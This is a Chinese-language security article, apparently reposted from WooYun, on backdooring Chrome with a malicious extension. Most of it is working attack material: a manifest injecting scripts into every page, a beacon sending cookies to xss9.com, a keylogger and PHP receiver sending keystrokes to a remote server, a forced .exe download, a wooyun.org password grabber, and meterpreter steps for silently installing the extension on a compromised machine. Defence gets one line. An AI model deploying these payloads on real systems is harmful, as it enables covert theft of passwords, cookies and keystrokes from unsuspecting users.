<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/tips/14410

    0x00 Introduction


    眾所周知,Web應用變得越來越流行,生活,辦公,娛樂等等很多都是通過Web,而瀏覽器是我們訪問Web最常使用的工具之一。隨著Web功能的強大,瀏覽器的功能也變得越來越強大。而此文,就是介紹一種通過Chrome插件進行攻擊的姿勢跟手法。

    撰寫此文時,僅對Chrome瀏覽器進行了部分測試,有興趣的小伙伴可以深入,本文主要是提供一種思路。

    0x01 Write Chrome Extension


    在知道怎么寫插件之前,我們首先了解一下插件的文件結構,隨便下載一個谷歌插件,將其重命名為zip后綴之后進行解壓,解壓后的文件目錄如下:

    Alt text

    其中,manifest.json是主文件,來聲明要寫的插件的相關信息。可以把mainfest.json理解成插件的入口,即chrome需要通過manifest.json來理解你的插件要引用哪些文件 、 需要哪些權限 、 插件圖標 等信息。而其他文件,就是能實現此插件功能的腳本文件以及插件圖標等。

    下面,我們開始構造我們的hack extension。

    首先, 編寫manifest.json文件如下:

    #!js
    {
        "name": "demo",  //插件顯示的名稱
        "description": "demo", //插件的描述
        "version": "1.0", //插件的版本
        "manifest_version": 2, //新版chrome強制manifest_version為2
        //插件的圖標
        "icons": {  
        "16": "imgs/ico.png",
        "32": "imgs/ico.png",
        "48": "imgs/ico.png",
        "128": "imgs/ico.png"
        },
        //定義后臺的一些特性
        "background":{
          "scripts":[  //加載插件的時候執行的腳本
              "js/call.js", 
              "lib/jquery.min.js"
          ]
        },
        "content_scripts": [//定義自動加載的內容
            {
                "matches": [ //滿足什么樣的條件執行該插件
                    "<all_urls>"
                ],
                "js": [
                    "lib/jquery.min.js", //滿足以后執行的腳本
                    "js/check.js"
                ]
            }
        ],
      //插件的權限
      "permissions": [
          "tabs",
          "http://*/",
          "https://*/",
          "background",
          "webRequest",
          "storage",
          "browsingData"
      ]
    }
    

    創建以下文件:

    Alt text

    現在,所有的文件就全了,但是還沒什么功能,嘗試加載一下插件,瀏覽器URL欄輸入 chrome://extensions/ 選擇加載已解壓的擴展程序,之后選擇文件所在的文件夾。

    Alt text

    然后插件就已經被加載上了:

    Alt text

    0x02 How to Hack


    插件已經可以被成功加載了,怎么使用它來進行攻擊呢,我們開始編寫。

    1、XSS Platform

    配置XSS平臺,獲取項目代碼如下:

    #!js
    <script src=http://t.cn/xxxxxxx></script>
    

    訪問http://t.cn/xxxxxx 獲取代碼,將其寫入check.js,內容如下:

    #!js
    ??(function(){(new Image()).src='http://xss9.com/index.php?do=api&id=xxxxxx&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();
    if(''==1){keep=new Image();keep.src='http://xss9.com/index.php?do=keepsession&id=xxxxxx&url='+escape(document.location)+'&cookie='+escape(document.cookie)};
    

    保存文件,重新加載插件,訪問任意網站,獲取訪問網站的cookie信息,如下圖:

    Alt text

    2、Keyloger

    將以下Payload寫入check.js中:

    #!js
    $(document).ready(function()
    {
        var server = "http://server.com/"; //接收服務器
        var gate = "data.php?data=";  //接收文件
        var tabURL = window.location.href;
    
                var keys='';
        document.onkeypress = function(e) {
          get = window.event?event:e;
          key = get.keyCode?get.keyCode:get.charCode;
          key = String.fromCharCode(key);
          keys+=key;
        }
        window.setInterval(function(){
          new Image().src = server+gate+keys;
          keys = '';
        }, 1000);        
        });
    

    接收php文件如下,將此文件命名為data.php置于服務器上:

    #!php
    <?php
    $txt = $_GET['data'];
    $log = fopen("keylog.txt", "a") or die("Unable to open file!");
    fwrite($log, $txt);
    fclose($log);
    ?>
    

    需要在服務器上建立keylog.txt,然后給777權限就可以了

    加載插件以后,鍵盤記錄啟動,當用戶在網頁中進行鍵盤輸入時,輸入數據會發送到遠程服務器。

    Alt text

    3、ForceDownload

    強制下載文件Payload如下,此payload即安裝插件以后,訪問任意網站強制下載程序:

    #!php
    $(document).ready(function()
    {
        var server = "http://server.com/"; //服務器
        var gate = "/test/test.exe"; //要下載的文件
        var tabURL = window.location.href;
    
        var link = document.createElement('a');
    link.href = server+gate;
    link.download = '';
    document.body.appendChild(link);
    link.click();    
        });
    

    4、Get Wooyun Password

    以下Payload 用于獲取登陸wooyun的賬號密碼。

    #!php
    $(document).ready(function()
    {
        var server = "http://xss9.com/"; //發送地址
        var gate = "index.php?do=api&id=xxxxx"; //接收參數
        var tabURL = window.location.href;
    
            if(tabURL.indexOf('wooyun.org') !== -1 )
        {
            wooyun();
        }
    
        function email()
        {
            var email = document.getElementsByName('email')[0].value;
            var password = document.getElementsByName('password')[0].value;
            var data = "&username="+email+"&password="+password;
            new Image().src = server+gate+data;
            //console.log("email="+email+"&password="+password)
        }
        function wooyun()
        {
            document.getElementById('subbtn').onmouseover = email;
        }    
        });
    

    Alt text

    修改payload可針對性獲取某網站賬號密碼信息。

    Payload就介紹這么多了,熟悉前端的童鞋一定可以創造更多花式玩兒法。

    0x03 When to Use


    或許小伙伴們會問,弄這個有什么用,我又不需要裝這個插件抓自己的密碼。當然,這個肯定不是用來搞自己的。滲透測試過程中,有沒有碰到過看到管理員經常使用Chrome瀏覽器,而我們卻沒辦法獲取到其常用密碼呢?(管理員并沒有使用瀏覽器記住密碼的功能)。這個時候,除了給系統裝鍵盤記錄器,我們還可以為其瀏覽器裝我們編寫的插件。而這個插件,就可以用來搜集各種敏感信息,而且,針對的是瀏覽器訪問的所有網站!

    除此之外,我發現chrome是可以通過命令行來安裝插件的,來設想一個場景,我們使用某個漏洞,或者社會工程學獲取了小明的計算機控制權,現在已經有了一個meterpreter會話如下:

    Alt text

    執行如下命令:

    #!bash
    meterpreter > run post/windows/gather/enum_chrome
    

    Alt text

    可以看到目標系統是安裝了chrome瀏覽器的。

    上傳插件目錄demo到e:\demo\ 目錄,由于meterpreter的upload只能上傳文件,不能上傳文件夾,所以這里需要把demo文件夾打包壓縮以后再上傳,之后再通過目標系統的解壓軟件或者自己上傳的unrar.exe進行解壓,具體操作如下圖:

    Alt text

    使用如下命令尋找安裝的解壓軟件:

    Alt text

    之后使用如下命令進行解壓并刪除壓縮包,具體操作如下圖:

    Alt text

    之后為chrome添加插件,使用如下命令:

    #!bash
    "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"  --load-extension="F:\demo\demo" --silent-launch 
    

    路徑為chrome默認安裝路徑,如果找不到,可以使用dir命令來找,--load-extension是要加載的插件路徑,--silent-launch表示不開啟chrome,靜默安裝。注意:需要在chrome未運行的情況下才可成功加載插件。

    使用以上命令有現在兩點缺點:

    缺點一,會有如下提示(過幾秒會消失)。

    Alt text

    缺點二,有圖標,有提示。

    Alt text

    一直在想辦法解決以上問題,圖標可以換成透明的或者常用的插件圖片來解決,另外兩個暫時還沒解決,詳細的chrome命令可以參考這里: chromium-command-line,有小伙伴有了解決方案還請不吝賜教。當然也可以嘗試寫一個小程序來監控chrome,一旦chrome打開,則模擬點擊事件點擊取消按鈕。

    最好的方式就是可以直接去為他安裝插件,然后點了這幾個提示之后,之后的使用則不會再次出現提示,這樣可以隱藏挺長時間。

    然后,我就控制小明的所有訪問內容了,就像這個圖一樣:

    Alt text

    當然除了以上的利用方式,還可以通過發布一些插件讓其含有攻擊代碼同樣可以實現此功能。

    0x04 How to Defend


    對于不明來歷的插件盡量不要安裝,如果發現問題,請盡早修改自己各個賬號密碼。

    0x05 Summarize


    此文主要介紹在滲透測試過程中的一種思路,有興趣的小伙伴可以繼續測試其他瀏覽器的插件,這種方式雖然簡單,但是效果還不錯,你值得擁有。以上文件可以通過這里下載:Extension_Backdoor

    0x06 Consult


    1. http://peter.sh/experiments/chromium-command-line-switches/#condition-21
    2. http://www.chromeplugins.org/google/chrome-plugins/installing-crx-file-command-line-9976.html
    3. https://developer.chrome.com/extensions/external_extensions
    4. http://www.cnblogs.com/walkingp/archive/2011/03/31/2001628.html

    本文由evi1cg原創并首發于烏云drops,轉載請注明

    97av